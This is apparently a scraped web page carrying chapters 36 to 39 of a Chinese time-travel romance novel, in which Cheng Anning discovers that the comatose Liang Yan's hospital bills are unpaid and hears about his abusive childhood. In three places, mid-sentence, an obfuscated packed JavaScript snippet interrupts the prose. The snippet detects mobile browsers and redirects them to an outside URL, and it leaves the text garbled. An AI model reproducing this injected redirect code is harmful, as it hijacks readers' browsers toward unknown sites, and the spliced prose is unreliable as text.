梁彦看在眼里，主动搭话：“这些东西很可爱，我可以买一个吗？” 36.36 程父程母闻言一愣，抬眼看他。 梁彦莞尔一笑，补上一句：“我女朋友正好喜欢这类手工的东西。” 只从程安宁的父母这里买走一两件东西的话，不会改变这个时空的程安宁今后发现她父母无声又浓烈的爱意，也不会影响到另一时空的程安宁的记忆。 闻言，两人大方地把袋子递上前：“不用买，你喜欢哪个就挑走吧，你们能喜欢我们女儿做的手工，我们也很高兴。” 梁彦摇头：“不能白拿东西。” 随后，他从袋子里挑了两样东西，并且按照包装袋上贴的价格，从随身携带的皮夹里翻出对应的现金。 程父程母一开始不愿意收钱，后面在他的一再坚持下，以及说了“做手工的人值得喜爱的人为她的作品买单”之后，两人这才没再推脱。 短暂的交集结束，双方告别。 梁彦找了新的代驾把车开回去，独自靠在后座休息。 指间缠绕着两根细小的黑线，梁彦抬起手，两个迷你的挂件垂落在掌心里。 是一只用毛线钩织的豆豆眼小女孩，黑发加上打着腮红的米白脸蛋，上面还用黑色的毛线钩着一抹弯弯的笑容弧度，有一种呆呆的、傻里傻气的可爱，身上则用毛线钩织的粉色小裙子，细致小巧。 程安宁的父母说，这是程安宁以自己作为原型钩织的小人挂件，不过当个可爱的挂件看待就行，不要去在意这是谁。 于是，他鬼使神差地挑了这一只挂件，然后又在袋子里看到了一颗柠檬，想起今晚无意间听程父跟果汁摊的老板说，程安宁小时候有个外号叫小柠檬。 就这样，两个挂件到手。 这是属于他和程安宁的父母之间的秘密，十八岁的程安宁不会知道，二十三岁的程安宁也是。 为什么会动了想要买东西的想法呢？ 连他自己也说不清楚原因。 大概是……莫名地想要拥有跟程安宁有所关联的物品。 …… 另一时空，程安宁坐在电脑前敷面膜打游戏。 她今晚给电脑开机后就看到梁彦的留言，于是就自己边找事情做边等。 为了让梁彦上线的时候知道她在电脑前，她特地把视频软件打开，这样梁彦打开电脑就能看到视频界面里的她，就跟她先前偶尔晚一点打开电脑就看到梁彦坐在电脑前等她一样。 等到晚上十点三十分左右，程安宁从手机上移开视线，抬眼就看到电脑屏幕上已经挂着另外一个视频界面。 视频界面里，梁彦正安静地坐在电脑前，低头翻着手中的纸质文件。 再帅的脸冷不防出现在电脑桌面上难免会吓人一跳，程安宁吓得“哇”了一声，一手揭下面膜，一手轻拍着胸口出声问：“你什么时候开电脑的？怎么一点动静都没有？” 梁彦闻声抬头，温声回道：“我看到你在忙，想等你先忙完。” 他打开电脑的时候看到程安宁贴着面膜，身穿纯色宽松的家居服，坐在电脑前盯着手机看，模样认真专注，他不忍心打扰，索性看看文件，等程安宁发现他。 “我只是在打游戏，没忙什么事情。”程安宁边说边把揭下来的面膜扔到垃圾桶里，视线重新回到电脑上的视频界面，主动询问：“今晚玩得开心吗？” 梁彦在电脑上留言说今晚公司聚餐，她也就顺便以这个话题开启今天的交谈。 对上视频界面里那双亮晶晶的杏眸，梁彦的视线移到贴着电脑屏幕前摆放的两个小挂件，嘴角微扬：“还不错。” 放东西的位置是电脑摄像头的死角，他看着屏幕的同时也能看到这两个小物件。 以程安宁为原型的豆豆眼小人，正跟电脑屏幕里的程安宁一样面向他。 程安宁淡淡点头，随之提起正事：“我今天按照你给的地址找过去了，刘志辉果然没住在那里了，我也没能打听到其它关于他的消息，接下来只能靠你那边的行动了。” 梁彦会意颔首，汇报这边的进展：“我今天已经拜托我的朋友刘志辉定期更换门锁电池的事情了。至于换门锁的事情，我预约了安装师傅，最快明天搞定。” 至于他今晚鬼使神差去了夜市看十八岁的她摆摊的事情，就没必要说了。 程安宁打了个OK的手势，“行，等你的消息。” 说着，她听到不远处的门外有窸窸窣窣的声响，不由得转头，食指抵住小嘴“嘘”了一声，放轻声音道：“我好像听到我门外有动静。” 梁彦微愣。 程安宁神色疑惑，小声嘀咕：“现在时间不早了，不可能是我朋友过来找我。” 说这句话的同时，她拿起手机查看有没有叶思蕾发来的消息。 见状，梁彦同样放低声音问：“你有跟其她人合租吗？” 没有看到好姐妹发的消息，程安宁从手机上收回视线，摇头回道：“没有，就我一个人住。” 话音刚落，门外突然响起“笃笃笃”的敲门声。 不同时空的两人同时吓了一跳。 梁彦神色不由得紧绷，随即出声嘱咐：“安宁，不要开门，不要出声。” 门外隐约传来说话声，程安宁竖起耳朵仔细辨别，但还是没能听清。 她索性从电脑前起身，小声道：“等等，好像有人在门外说话，我悄悄去听一下在说什么。” 梁彦眼皮一跳，“别去！” 话脱口的那一刻，视频界面里的程安宁已经从电脑前离开。 梁彦呼吸一窒，心情瞬间焦灼，极快地拿起桌上的手机输入报警电话。 但下秒，他猛然间意识到什么，眸光一暗，顿住手头上的举动，握着手机的手默默收紧，手背上青筋突起，指节泛白。 深深的无力感像一条缠绕在身上的巨蟒，完全将他全身紧紧包裹直至窒息。 他忘了，两人不在同一个时空，他眼下根本没办法帮到程安宁。 与此同时，视频界面里传出说话声，其中还夹杂着程安宁的轻笑声。 梁彦盯着空荡荡的视频窗口，心里的担忧只增不减，忍不住扬声问：“安宁，你还好吗？” “我没事。”清亮悦耳的女声由远及近，紧接着，熟悉的倩影重新回到电脑前。 程安宁在屏幕前短暂停留，脸上笑意盈盈，出声解惑：“原来是住在附近的一位婆婆过来找我，你稍等一下哈。” 说完，她的身影再次消失在笔记本电脑的镜头前。 梁彦只好沉住气，专心留意她那边的动静。 很快，程安宁的身影再次出现在视频界面里。 她提着一个鼓鼓囊囊的大号编织袋从电脑前经过，嘴边在跟其他人说话：“我前段时间还在想您什么时候会过来呢。” “嗨呀， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862061|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近家里有点事情耽搁了，所以没办法过来。我没打扰你休息吧小程？”回应她的是一道苍老温和的声音。 “没有没有，我跟您说过我一般睡得晚，您凌晨前过来我都在的。”清亮的说话声随着远去的脚步声渐渐变小。 似乎走到门口了，脚步声消失，紧接着又响起程安宁的询问声：“需要我帮您提到楼下吗？” 老人家乐呵呵地拒绝了她：“没事，这才多重啊！完全是小意思，而且我老伴就在前面楼梯口等着我呢！你早点休息吧小程，我就不打扰你了。” 程安宁没再坚持：“好的，那您小心慢走。” 随后，双方相互告别，程安宁目送老人家走远了，这才重新关上门，利索反锁。 做完这些，程安宁回到电脑前坐下。 紧绷的精神总算得以放松下来，梁彦暗自松了口气，主动询问：“这么晚还有人拜访？” 程安宁端起桌上的水杯喝了一口，轻嗯一声：“是我之前在楼下认识的一位婆婆。” 梁彦疑惑追问：“这么晚找你是为了拿东西吗？她有东西放在你这里？” 难得见这位大佬在她面前表现出求知精神，程安宁诧异之余，点头解惑：“算是她的东西吧。我平日里有在帮她攒空瓶子易拉罐，还有快递纸箱，我跟她约定好每隔一段时间就过来我这里取走这些东西。” 前段时间她刚搬过来的时候，在楼下垃圾桶旁边结识了这位老人家。 那个时候她看着老人家佝偻着身子在翻垃圾桶里的纸箱，心里忍不住一酸，主动上前搭话，于是故事就这样开始了。 说到这，程安宁语气感慨：“瓶子和纸箱可能攒一大麻袋都不见得可以换个十几二十块的，可是有些人就是需要靠它们糊口。我想着反正又不难，能帮就帮，再说我能帮到的也只是收集废品这一个忙，没办法帮到更多了。” 梁彦听得认真，不禁想起今晚在夜市听到程安宁旁边那位男生所说的，那些关于程安宁的热心事迹。 眼下，在另一时空，二十三岁的程安宁即便承受着浓重的哀伤情绪，也依旧和过去一样热心善良。 她本身就是一个美好纯粹的人。 梁彦眸中泛起柔色，毫不吝啬地赞赏道：“你能做出行动去帮助他人就已经很了不起了。” 突然的夸奖让程安宁愣了一瞬。 之前她看到路上的瓶子和纸箱随手捡走，被部分人白眼说过穷酸丢人，现在突然被夸了不起，还怪不好意思的。 程安宁心里泛起丝丝暖意，弯了弯眉眼：“谢谢。” 说着，她看了眼电脑右下角的时间，识趣告退：“时间不早了，我打算休息了，你也早点休息吧，晚安。” 通过这些天的相处，她知道梁彦晚上需要经常加班，所以她谈完正事都是尽量不耽误人家宝贵的时间。 梁彦微愣，掩住心里的异样情绪，轻嗯一声。 不知道从什么时候开始，程安宁总是主动结束交流的一方，而他竟然觉得聊天的时间太短了。 嘴边“晚安”二字还没说出口，电脑桌面上的视频界面先一步关闭，那张清丽白皙的脸蛋就此在眼前消失。 梁彦垂眸看着电脑屏幕前摆放的钩织小人，伸手用指尖蹭了蹭它红扑扑的脸颊。 他嘴角微扬，像是透过它在跟另一人对话，温声呢喃：“好梦。” 37.37 在梁彦把计划的事情搞定之前，程安宁暂时不用在工作之余抽出时间去办正事了。 她只需要正常上班，然后等晚上回家打开电脑听梁彦那边汇报进展，这之后她才有事情可做。 和往常一样，程安宁把自己负责的工作提前搞定后，坐在自己工位上把聊天软件的账号登录在电脑上，跟好姐妹叶思蕾开启新一天的闲聊。 两人虽然偶尔见一次面，但是每天在手机上的聊天不会落下。 正在惬意的摸鱼时间中等待下班，程安宁的思绪已经跳到考虑晚餐要吃什么这一方面，桌上的手机冷不防响了起来。 程安宁回过神，拿起手机看到屏幕上的陌生号码，归属地是清城。 她平日里鲜少跟人联系，就算是哪位长辈或者朋友打电话给她，都是有备注的。那么一般情况下，打到手机上的陌生号码只有两种可能，一是归属地乱七八糟的诈骗和推销电话，二是归属地显示本地的快递或者外卖电话。 这会儿归属地显示本地，只是她没点外卖，外卖是不可能了。快递的话，倒是概率大点，可能又是她在线上参加的哪个抽奖活动的奖品在派送了。 心念电转间，程安宁犹豫着滑过接听图标。 手机那端随即传出一道询问声：“您好，请问您是梁彦先生的女朋友，程安宁小姐对吗？” 程安宁愣了一瞬，轻嗯一声：“是我，请问您是哪位？” 对方开门见山道：“这里是清城第一人民医院，您现在有空吗？这边需要您过来一趟。” 此话一落，程安宁的心瞬间提到了嗓子眼，急声问：“是梁彦出什么事了吗？” “不用担心，梁彦先生没事。”对方语气平和地安慰道，顿了顿，解惑：“是有另外一件事情需要跟您谈谈，如果您现在有空的话，可以到医院一趟。如果不方便的话，电话里说也可以的。” 闻言，程安宁眸底闪过一抹思量，会意应下：“行，我现在过去一趟。” 距离下班还有两个小时的时间，结束通话后，程安宁咬咬牙请了假，提起包包火速离开。 现在赶去医院，一方面是为了证实是医院打来的电话，另一方面是有什么事情确实还是当面说比较清楚。 而且上次贺明跟她提起梁彦的身体情况不太乐观，现在医院又突然打电话给她，说的事情肯定是跟梁彦有关，让人的心里莫名有种不祥的预感，她感觉自己需要在前去的路上先做好心理准备。 诶，不对！医院怎么知道她的联系方式？ 带着疑惑，程安宁打了车赶往医院。 好在目前不是车流高峰期，她一路畅通无阻抵达医院，熟门熟路地找到梁彦病房所在的护士站。 在跟护士表明来意后，程安宁忐忑地等待对方发话。 下一刻，一叠单据推到她面前：“这是梁彦先生今年上半年的医疗账单，请到一楼大厅结清。” 程安宁一怔，翻开账单查看。 下秒，看到上边六位数的医疗住院费用，她倒吸一口凉气，倏地把账单合上。 这是把她卖了都不一定还得上的程度，而且这还只是上半年的账单。 等等！不应该啊！ 为什么梁彦的医疗费偏偏联系她这个女朋友过来支付？他的家人呢？ 心里的忐忑就此消散，取而代之的是让人难以理解的疑惑，程安宁抬眼发问：“请问之前的账单是谁结的？你们为什么会找上我呢？” 护士出声解答：“之前一直是未来科技那边有人负责结清医院账单的。这次到了结清上半年费用的时间，我们医院这边联系了负责人，但对方把你的联系方式给了我们，说你是梁彦先生的女朋友，今后梁彦先生的一切事务由你负责。” 程安宁瞳孔骤缩，差点被离谱得笑出声。 未来科技那边给的联系方式？ 她想她知道是谁了。 上次她跟贺明交换过联系方式，不用猜就知道是贺明给的。 先前的两次接触，她隐约觉得这个家伙虚伪来着，原来真的憋着坏！ 她就说再怎么也轮不到她来处理医院账单的事情，医院怎么会联系上她，原来是拜贺明所赐！ 程安宁深呼吸一口气让自己冷静下来，掏出手机丢下一句：“稍等！” 说完，她转身去到一旁，迅速点开手机通讯录，找到贺明的号码拨过去。 手机那端响了两声便接通了，对方率先开口：“您好，我是贺总的助理小罗，我们贺总正忙着开会，有什么事情我可以帮您转达。” 程安宁还没开口就被这一句堵了回去，一口气卡在心口不上不下，只好沉住气道：“我是梁彦的女朋友程安宁，你让贺明忙完联系我，我要跟他聊聊梁彦医疗费的事情。” 对方语气友善：“关于梁总医疗费的事情，或许我可以代为回答。您有什么疑惑呢？” 闻言，程安宁开门见山问：“他为什么让医院联系我负责梁彦的医疗费？” 对方耐心解释：“是这样的，梁总这些年的医疗费住院费，以及其它方面的费用都是由我们贺总承担的。现在您出现了，您是除了贺总以外，跟梁总最亲密的人，我们贺总可以放心把梁总的事情交给你了。” 程安宁捏紧手机，太阳穴突突直跳。 贺明是故意的。 分明上次说过她只是梁彦的女朋友，分不到任何财产什么的，这会儿医院的费用倒是知道找她负责了。这是哪门子的说法？他自己不觉得离谱吗？ 而且，为什么是贺明在负责梁彦的所有费用？ 带着满脑子的疑惑，程安宁随即发问：“梁彦的家人呢？你们贺总为什么不找他家人？” 助理解惑：“梁总跟父母的关系不好，他们是不会管梁总的。这些年除了贺总以外，没有人管他的死活。” 程安宁一怔，脱口而出：“怎么可能？！” 关系再怎么不好，也不会狠心到不管不顾的程度吧？ 助理语气无奈：“您不相信的话，我可以把梁总父母的联系方式给您。” 说着，助理把号码整理到短信里发到她手机上。 程安宁看到了短信，是两串手机号码，上面还贴心标注了哪个号码是梁彦的父亲或者是母亲的。 助理叹了口气，又道：“如果他们愿意负责，那就太好了，不然费用没有结清的话，梁总没办法继续待在医院里治疗了。” 程安宁眼皮一跳，没等她开口，对方就以有工作要忙挂断这通电话。 没办法继续待在医院里进行妥善治疗的话，也就意味着身体状况本就不乐观的梁彦……会很快离开人世。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870153|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一阵心惊，随即定了定神，尝试着拨通第一个号码。 手机那端响了三声后接通。 程安宁率先开口：“您好，请问您是梁彦的父亲吗？” “有什么事？”手机另一端响起冷淡且不耐烦的男声。 程安宁赶忙说明情况：“梁叔叔，梁彦今年上半年的医院费用需要结清，您看看最近有没有空到医院结清费用？” 此话一落，手机那端的梁父像是听到了什么笑话，轻嗤一笑：“关我什么事啊？” 程安宁被问得一愣，紧接着又听梁父语气遗憾道：“原来他还活着啊，我还以为他早就死了。真是命硬，到现在还留着一口气没断呢。” 得到意料之外的回应和态度，程安宁浑身一震，难以置信地瞪大双眼。 耳边随之传出一阵畅快的笑声：“那个狼心狗肺的东西有这样的一天都是他自找的，现在沦落到连医药费都交不上了就是上天的报应！让他下辈子注意点吧哈哈哈……” 下秒，通话挂断，耳边恶劣刺耳的笑声随之消散。 程安宁顿感毛骨悚然，被震惊得久久没能开口。 这不是对待自己孩子的态度，反而像是有深仇大恨的敌人。 回过神，程安宁眸光不解，皱眉拨通了另外一串号码。 这一次，手机那端传来一道温和的女声，是梁彦的母亲。 和刚才一样，程安宁说明了情况。 手机那端静默一瞬。 就在她把希望放在梁母身上时，对方冷淡开口：“你是医院的人吧？我不知道是谁把我的联系方式给你们的，但我有话直说了，我早就跟那个家伙断绝关系了，他的事情跟我无关，不要再给我打电话了。” “你们按照医院的正常程序走，该赶出医院还是该怎么样，随你们高兴，今后就算他死了也不用给我打电话。” 话落，通话直接挂断。 程安宁握着手机愣在原地，手脚发凉。 贺明的助理说的话，原来是真的。 他们真的不管梁彦的死活。 难以相信，那些冷血无情的话是从梁彦的父母嘴里说出来的。究竟是什么样的恩怨，让他们如此对待自己的孩子？ 程安宁转头，看向一侧走廊的病房，目光落在最后一间的门牌号，心情复杂。 她突然想到，先前她跟梁彦隔着电脑谈正事的时候，她跟梁彦提起要不要把联系对象换成他的家人，从他的家人那里入手，看看能不能打听到当年情况，那会儿梁彦果断拒绝了这个提议。 当时她以为梁彦是不想勾起家人的伤心事，现在看来，原来是梁彦明白他的父母不可能在乎他的死活，就算找他们也没用。 想到这，程安宁心口闷痛，迈着沉重的步伐靠近。 这一次没有人守在门口，她顺利到了梁彦所在的病房门口。 透过门上的窗口，她看到一男一女在病房里走动，两人穿着护工的工作服，看上去得体利索，年龄大概在中年四十多岁左右。 她前两次到医院都没遇到照料梁彦的护工，今天到医院的时间点比以往的还要早，恰巧碰上了。 见状，程安宁推门而入。 两位护工闻声转头，目光齐刷刷落在她身上，面露惊喜：“小姑娘，你是梁先生的家人吗？” 38.38 程安宁微抿小嘴，目光落在病床上面无血色的身影，余光也瞥见了旁边的桌上放着她上次过来送的玫瑰花。 鲜红的花瓣已经有部分变得黯淡，无声地走向枯萎和凋零，如同眼下梁彦的生命。 原本以为再怎么样都轮不到她去管梁彦的事情，可是目前看来，贺明放手不管了，梁彦的父母又没办法指望，如果她同样不管梁彦的事情，就真的没人会帮他了。 程安宁鼻子忍不住泛酸，随后，在两位护工期待的目光下，克制着波动的情绪，点头回应：“是。怎么了？” 没关系，没人管她管！ 这个时空的梁彦，只有她了。 得到确认，两人松了口气，护工阿姨走上前，热情地拉起她身侧的手，主动跟她握手：“太好了！本来我们还在愁要怎么联系上他的家人呢！” 旁边的护工大叔也上前搭话：“今天我们接到电话，先前的雇主说下个月不负责给我们发工资了，让我们找梁先生的家人，看看还需不需要我们在这里继续照料梁先生和给他做日常护理。” 护工阿姨点头附和：“如果不需要的话，我们干完这个月就要被公司安排到下一家了。所以你看看是要让我们继续留下还是离开？” 程安宁闻言一怔，随即追问：“你们之前的雇主是不是叫贺明？” 两人不约而同点头：“是的。” 程安宁呼吸颤了颤，眉头紧锁，转身丢下一句：“你们等一下，我先出去打个电话。” 不对劲！很不对劲！ 一开始她在不知道梁彦跟他父母关系恶劣的情况下，以为贺明把她的联系方式给医院，让医院找她支付梁彦住院的所有费用是在故意为难她。 可是现在仔细想想，贺明突然间跟医院表示不再支付梁彦的医疗费用，丝毫不考虑她到底能不能付得起那笔高昂的费用就把这件事丢给她了，而且还表明不再承担两位护工照料梁彦的费用，说是让护工找梁彦的家人。 而贺明的助理知道梁彦跟父母的关系不好，不会管梁彦的死活，贺明身为好朋友，肯定也是知情的。 即便这样，贺明还是选择了这样的做法，这无疑是把人往死路上逼。逼的不是她，而是梁彦！ 当然，也有可能是贺明单纯想撒手不管了，想趁着她这个女朋友的出现，像甩包袱似的全甩到她这边来。 这是她针对眼下了解到的事情而做出的单方面猜测，至于贺明到底在想什么，她不清楚。 来到病房外的走廊，程安宁再次拨通贺明的号码。 这一次，手机那端迟迟没人接听。 程安宁焦虑踱步，直至响起暂时无人接听的提示音，她这才放弃打电话，转而编辑短信发送出去。 短信里，她直接表明自己没有足够的钱可以支付梁彦的医疗费，以及两位护工的费用，让贺明忙完立刻给她回个电话，一起商量如何解决事情。 贺明的助理跟她说过，梁彦这些年的各项费用都是贺明在承担。 身为朋友能做到这一步，确实仁至义尽。 她也没想道德绑架要贺明继续支付梁彦的所有费用，但是以未来科技目前的名声和影响力，梁彦身为公司股东之一，每年获得的分红肯定能够覆盖眼下的这些费用。未来科技大可以把梁彦每年的分红划出一部分用来支付他在医院里的各项费用，为什么偏偏选择撒手不管？ 她一定要问清楚才行！ 如果确认贺明真的撒手不管了，那么属于梁彦在未来科技的那一份，必须算仔细了。 发完短信，眼下还有两件待处理的事情在等着她，程安宁打起精神，重新打起精神回到病房。 两位护工的去留问题，她已经有了打算。 专业的事情交给专业的人做，她没有护理植物人的经验，也没有足够的时间照料梁彦，眼下一切如常就是最好的。 程安宁让两位护工继续留下照料梁彦，承诺工资会照发，双方还交换了联系方式。 随后，她又去到护士站谈梁彦那笔住院医疗费的事情。 双方经过商讨和向上头请示，程安宁最终先付了五千块。虽然这个数目对那笔六位数的费用来说还远远不够，但是医院愿意给她一周的时间。 像是拉满的绷紧的弓突然松了力道，程安宁整个人精疲力尽。 等到处理完事情从医院出来，外边的天色已经暗了下来。 回去的路上，她坐上摇摇晃晃的公交车，低头看着手机发呆。 手机的通知栏空荡荡的，贺明没有回复她的短信，也没有回电话。 回到家，程安宁再次尝试拨打贺明的号码。 手机那端依旧是无人接听的状态。 程安宁眉头紧锁，坐在已经开机的笔记本电脑前盯着手机看。 究竟是一直没有看手机呢？还是故意不接她的电话？ 愣神间，一道清冽磁性的男声从电脑里传来：“没想到你已经在了。” 程安宁闻声抬头，看到电脑桌面已经挂着另一个视频软件的窗口。 视频界面里，梁彦依旧帅气鲜活，短暂驱散了她沉重的心情。 程安宁扯了扯嘴角，和往常那般熟络地打招呼：“你今晚这么早啊。” 她还没想好要怎么告诉梁彦今天突发的情况。 要说这个时空的他，身体状况已经不太乐观，还面临着欠费被赶出医院的困境，多年的好朋友明知道却视而不见，父母也狠心不管他，并且巴不得他死掉的态度吗？ 她感觉她说不出口。 作为一个从小在父母的爱里长大的孩子，父母不仅是她的家人，也是她最亲密的朋友，她今天着实在梁彦父母那里受到了不小的冲击。 电脑的另一端。 梁彦看着视频通话软件里的程安宁恹恹地垂着眼，敏锐地察觉到她低落的情绪，不禁敛起轻松的神色。 他本来想提前开电脑挂机等程安宁的，没想到一开机就看到程安宁已经开着视频软件在等着他了。心里还没来得及高兴，就发觉她似乎情绪不佳。 是今天发生什么事情了吗？ 心里这么想的，嘴上也忍不住问出声：“今天还好吗？” 程安宁重新抬眼看向屏幕，不答反问：“你呢？你那边的进展顺利吗？” 看出她有意避开这个问题，梁彦沉住气，只好先汇报今天的进展：“今天我家的门锁已经换好了，密码是1924804。” 程安宁愣了愣，拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873657|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起手机打开备忘录：“这么长啊，我记一下。” 顿了顿，她随口问道：“这串数字组合是从哪里来的灵感？” 梁彦解惑：“我们的电脑是在8月4日那天开始出现的问题，前面的19和24分明代表我们各自时空的年份。” 两人是八月份的月初认识的，眨眼间已经要到九月份了。从一开始的生疏客套，到现在两人已经建立起信任，跟朋友一样相处。 闻言，程安宁恍然大悟：“经你这么一说，现在这个密码突然变得挺好记的。” 梁彦嘴角微扬，拿起桌上一本厚重的书放在电脑的摄像头前，继续解说：“至于可以自由进出未来科技的工牌，我已经放在这个盒子里了。” 见状，程安宁一脸匪夷所思，不确定问道：“你确定这是一个盒子吗？” 梁彦失笑，边说边在镜头前向她全方位展示着那本书：“只是一个外形长得像书的盒子，平时可以放在书柜上以假乱真迷惑视线，在它的侧面自带一个密码锁，密码和门锁的密码一致。” 他不确定自己出事后的这些年里，他的房子在没人居住的情况下会不会遭贼。 一开始是想着准备个带密码锁的盒子藏在隐蔽的地方，但是转念一想，万一这期间发生变故，被入室偷盗的小偷搜到了，以为是找到好东西直接把盒子拿走，那么五年后的程安宁就没办法顺利拿到他准备的东西了。 程安宁听得认真，会意点头，同时低头看了眼手机。 还是没有短信和来电。 梁彦继续道：“我会把它放在我房间书架的顶层左侧第一个位置。” 书架的顶层位置比较高，并且第一个位置属于不起眼的边缘位置，再加上书皮是晦涩难懂的外文，属于那种有人进他的房间找书看，也不会格外注意到它的程度。 “好。”程安宁会意应下，目光又忍不住去瞥手机。 梁彦察觉到了她的心不在焉，也注意到她时不时盯手机的举动，眸底泛起疑惑。 下一刻，程安宁起身丢下一句：“稍等，我先去打个电话。” 她带着手机离开桌前，去到一旁重新拨通贺明的号码。 贺明一直没有动静。下午那会儿他的助理说在开会，可是都这个时间点了，别说是开会，晚餐也早该结束了。 这一次，手机那端刚响了铃声便被挂断。 程安宁一怔，顿时明了，握着手机的力道倏地收紧。 她知道了，贺明压根不想跟她商量如何解决眼下梁彦面临的困境，所以才没有理会她的短信和多次致电，这次估计烦了，索性通过挂断她的来电间接表明他的态度。 这意味着，就算她要跟贺明算清楚梁彦每年公司的分红，人家不愿意配合的话，她也拿他没办法。 她已经能够预见自己帮梁彦出面的话，贺明肯定又会以她只是梁彦女朋友的身份，没权利也没有资格干涉那么多之类的理由说事。 难道……真的没有其它办法了吗？ 程安宁不自觉重叹一声，回到电脑前坐下。 她目光落在视频软件上的俊脸，突然开口喊他：“梁彦。” 梁彦一直在留意她那边的动静，闻言，立刻响应：“怎么了？” 39.39 程安宁神色若有所思，扯开话题道：“你跟你父母目前的关系怎么样？” 在把今天发生的事情说出来之前，她想先了解梁彦五年前跟他父母的关系是怎么样的。 如果双方还没闹得很难看的话，她就让梁彦尽量避免跟父母关系恶化，并且修复关系。如果是已经闹得难看的话，最好想办法缓和关系。 这样起码后来，也就是在她这个时空，梁彦不至于面临被赶出医院的困境。 这是她目前能够想到的改变局面的办法。 这个问题过于突然，梁彦先是一愣，而后简洁回道：“恶劣。” 程安宁眼皮一跳，语气试探：“那你觉得……你跟你父母的关系有缓和的可能吗？” “没有这个可能。”梁彦不假思索，脸上已经不见轻松的神色，肃着脸道：“我跟他们之间有不可调和的矛盾，早就断绝关系了，这辈子都不可能来往。” 听他坚定的语气，程安宁倒吸一口凉气，顿时犯了难，忍不住问：“真的没有一点可能吗？” 梁彦点头低嗯，“绝无可能。” 程安宁坐在电脑前一时语塞，余下的话卡在喉咙里没再往外冒，眉头紧皱。 完了，跟父母缓和关系这一方面上，梁彦态度坚决，不可能会低头的样子。 新鲜出炉的办法还没尝试就宣告无效，她焦虑地挠了挠头，忍不住叹了口气。 电脑的另一端，梁彦把她的反应看在眼里，不由得开口道：“安宁，我不清楚你为什么要问这个问题，但是我猜应该是有原因的，只是我不想听到任何人劝我和父母修复关系之类的话，还请不要白费力气。” 程安宁神色惆怅，“可是……” “我从小对他们来说只是一个累赘。”梁彦打断她的话，隔着屏幕迎上那双难掩愁色的杏眸，像前几次她主动分享自己过往那般，也不自觉将心底的秘密倾泻而出：“从我有记忆起，家里的争吵没有停止过，我父母擅长拿我撒气，无数次把我关在门外，我想过也许是我哪里做得不好，后来发现是没有缘由的。” 程安宁瞳孔一缩，不禁愣住。 梁彦神色平静，继续道：“我十岁那年，他们离婚后不久各自组建新家庭，我成了他们眼里碍事的存在，谁也不想接纳我。后来他们决定让我轮流住在两个家庭里，十二岁那年，有一天晚上我被打得浑身是伤，我父亲和继母把我赶出家门，我走了一天一夜的路到了我母亲家门口。” “当时我敲开了门，是我继父开的门，他塞给我两百块，让我不要再过去打扰他们。” 当时他透过继父身侧的缝隙，看到了他母亲在屋内正温柔地哄着刚出生不久的孩子，一个眼神也没往他的方向看，他心底最后的那点期望破灭，转身离开了。 “后来我边走边问路，用那笔钱解决了饿肚子的问题，偶尔也搭公交车赶路，最后不知道走了多久到了我爷爷奶奶家。” “还好没被两位老人家赶走，我就在那里住下来了。” 草草几句话就概括了他过往的经历，程安宁听得心里发酸，不自觉跟着难受，艰涩地动了动小嘴：“那……需要我帮忙探望你的爷爷奶奶吗？” 原来是这样！ 怪不得梁彦在跟父母修复关系这一方面态度坚决地回绝了，因为他们从没善待过他，他早就对他们不抱有任何期待了。 “不用了。”梁彦垂下眼帘掩住涌动的怒意，再次抬眼时，声线依旧平淡：“在我十八岁那年，我父亲生意失败欠了一身债，追债的跑到我爷爷奶奶家闹事和搬东西，他们被气出病来接连去世了。” 程安宁呼吸猛滞，隔着屏幕看着那张平静的俊脸，瞬间明白为什么之前会从他的眼里看到沉重的、弥久不散的忧郁。 因为他早就对这个世界没有任何留恋，所以当时在得知五年后的自己会成为植物人后，他的第一反应是选择不打算挣扎。 不管是童年时期的梁彦，还是成年后的梁彦，看上去都是苦苦的。 程安宁鼻子泛酸，眼眶跟着发热，很快被无声涌出的泪水占据了视线。 她低头想要掩饰波动的情绪，泪水却像化成固体的透明珠子，在低头的瞬间跟着砸落下来。 梁彦的视线没有离开过她的视频界面，这会儿看到这一幕，神色错愕，旋即唤了她一声：“安宁？” 程安宁没有抬头，努力平复波动的情绪，声音压不住的哽咽：“可是，你要怎么办？” 梁彦面露疑惑，不明所以。 没等他开口，就听程安宁颤抖着声音道：“我今天接到医院的电话，你上半年的医药费没有付清，贺明的助理说再不付清的话，你会被赶出医院。本来我想联系贺明解决这件事情，他却拒绝跟我沟通，你父母也说不会管你，照顾你的两位护工也差点走了。” 她倒豆子似的把今天的突发状况说了出来，声音因难过而发涩发哑：“可是……你的身体状况不太乐观，要是离开医院，你很快就会死的！” 闻言，梁彦恍然大悟，顿时明白她今晚在电脑前表露出的种种异样。 